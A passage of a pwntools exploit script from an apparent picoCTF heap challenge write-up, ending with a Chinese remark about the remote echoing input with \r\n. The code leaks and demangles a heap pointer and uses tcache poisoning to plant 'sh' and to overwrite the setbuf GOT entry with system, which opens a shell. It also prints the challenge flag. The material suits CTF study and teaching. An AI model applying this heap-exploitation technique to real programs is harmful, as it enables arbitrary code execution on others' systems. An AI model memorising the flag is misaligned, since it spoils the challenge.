race()
if args.REMOTE:
# hack
# when we send `3\n` to remote, remote will respond with `3\r\n`...
assert io.recvline() == b"3\r\n"
io.recvline() # name for 0
leak = io.recvline().strip(b" |\r\n") # name for 1
print("LEAK", leak)
io.recvuntil(b"WINNER: ")
print("win", io.recvline())
print(leak)
ptr = demangle(int.from_bytes(leak, "little"))
print(f"{ptr = :#x}") # points to name for 0
remove_horse(0)
remove_horse(1)
target = 0x4040E0 # cheated
print(f"{target = :#x}")
cheat(1, p64(target ^ (ptr >> 12)).ljust(16, b"\x00"), 0)
add_horse(1, b"A" * 0x10)
add_horse(0, p64(target + 8) + b"sh".ljust(8, b"\x00")) # write
# now stderr = "sh"
remove_horse(15)
remove_horse(16)
# [16] -> [15]
target = elf.got["setbuf"] # 0x404040
print(f"{target = :#x}")
cheat(16, p64(target ^ (ptr >> 12)).ljust(16, b"\x00"), 0)
add_horse(16, b"A" * 0x18)
# got table layout: setbuf, system, printf
resolve_system = 0x401096
add_horse(15, p64(resolve_system) * 2 + p64(0x401B90))
io.interactive()
# picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_f9c8bf9d}這題其實有個比較坑的地方是 remote 會把你輸入的東西 echo 回來,並且用 \r\n 而非 \n...。就其他人所說這是因為 remote 用 socat 的 pty mode 導致的結果...。